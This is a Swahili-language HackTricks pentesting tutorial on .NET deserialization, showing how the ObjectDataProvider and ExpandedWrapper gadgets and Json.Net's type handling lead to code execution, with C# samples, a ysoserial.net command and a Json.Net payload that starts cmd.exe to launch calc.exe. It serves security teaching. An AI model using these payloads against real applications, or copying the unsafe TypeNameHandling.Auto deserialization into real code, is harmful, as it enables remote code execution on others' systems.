hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

10 KiB

Msingi wa deserialization wa .Net (gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net)

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Machapisho haya yanajitolea kuelewa jinsi gadget ya ObjectDataProvider inavyotumiwa kupata RCE na jinsi maktaba za Ufananuzi Json.Net na xmlSerializer zinavyoweza kutumiwa vibaya na gadget hiyo.

Gadget ya ObjectDataProvider

Kutoka kwenye nyaraka: Darasa la ObjectDataProvider hufunga na kuunda kitu unachoweza kutumia kama chanzo cha kufunga.
Ndio, ni maelezo ya ajabu, kwa hivyo tutaona kipi kinafanya darasa hili kiwe cha kuvutia: Darasa hili linaruhusu kufunga kitu cha kupenda, kutumia MethodParameters kuweka parameta za kupenda, na kisha tumia MethodName kuita kazi ya kupenda ya kitu cha kupenda kilichotangazwa kwa kutumia parameta za kupenda.
Kwa hivyo, kitu cha kupenda kitatekeleza kazi na parameta wakati wa deserialization.

Hii inawezekanaje

Jina la System.Windows.Data, lililopatikana ndani ya PresentationFramework.dll kwenye C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ndipo ObjectDataProvider inapofafanuliwa na kutekelezwa.

Kwa kutumia dnSpy unaweza kuchunguza nambari ya darasa tunalovutiwa nalo. Katika picha hapa chini tunauona msimbo wa PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Jina la kazi

Kama unavyoweza kuona wakati MethodName inawekwa base.Refresh() inaitwa, hebu tuangalie inafanya nini:

Sawa, tuendelee kuona inafanya nini this.BeginQuery(). BeginQuery inabadilishwa na ObjectDataProvider na hii ndio inayofanya:

Tafadhali elewa kuwa mwishoni mwa msimbo inaita this.QueryWorke(null). Hebu tuone inatekeleza nini:

Tafadhali elewa kuwa huu si msimbo kamili wa kazi ya QueryWorker lakini unaonyesha sehemu ya kuvutia: Msimbo unaita this.InvokeMethodOnInstance(out ex); hii ndio mstari ambapo kazi iliyowekwa inaitwa.

Ikiwa unataka kuhakikisha kuwa kwa kuweka MethodName itatekelezwa, unaweza kukimbia msimbo huu:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Tafadhali kumbuka unahitaji kuongeza kama kumbukumbu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll ili kupakia System.Windows.Data

ExpandedWrapper

Kutumia shambulio lililopita kutakuwa na hali ambapo kitu kitakuwa kimefanywa upya kama kipengele cha ObjectDataProvider (kwa mfano katika udhaifu wa DotNetNuke, kutumia XmlSerializer, kitu kilifanywa upya kwa kutumia GetType). Kisha, hakutakuwa na ufahamu wa aina ya kitu kilichofungwa katika kipengele cha ObjectDataProvider (kama vile Process). Unaweza kupata zaidi habari kuhusu udhaifu wa DotNetNuke hapa.

Darasa hili linaruhusu kutaja aina za vitu vilivyofungwa katika kipengele kilichopewa. Kwa hivyo, darasa hili linaweza kutumika kufunga chanzo cha kitu (ObjectDataProvider) katika aina mpya ya kitu na kutoa mali tunazohitaji (ObjectDataProvider.MethodName na ObjectDataProvider.MethodParameters).
Hii ni muhimu sana kwa hali kama ile iliyowasilishwa hapo awali, kwa sababu tutaweza kufunga ObjectDataProvider ndani ya kipengele cha ExpandedWrapper na wakati wa kufanywa upya darasa hili litasababisha kitu cha OjectDataProvider ambacho kitatekeleza kazi iliyotajwa katika MethodName.

Unaweza kuangalia kifungashio hiki na nambari ifuatayo:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Kwenye ukurasa rasmi inaonyeshwa kuwa maktaba hii inaruhusu Kutengeneza na kusomea data ya aina yoyote ya .NET na Json.NET's powerful JSON serializer. Kwa hivyo, ikiwa tunaweza kusomea data ya ObjectDataProvider gadget, tunaweza kusababisha RCE kwa kusomea data ya kitu.

Mfano wa Json.Net

Kwanza kabisa tutaona mfano wa jinsi ya kutengeneza/kusomea data ya kitu kwa kutumia maktaba hii:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Kutumia Json.Net

Kwa kutumia ysoserial.net Niliumba shambulizi:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Katika msimbo huu unaweza jaribu kuchanganua, tu endesha na utaona kwamba kikokotoo kinatekelezwa:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!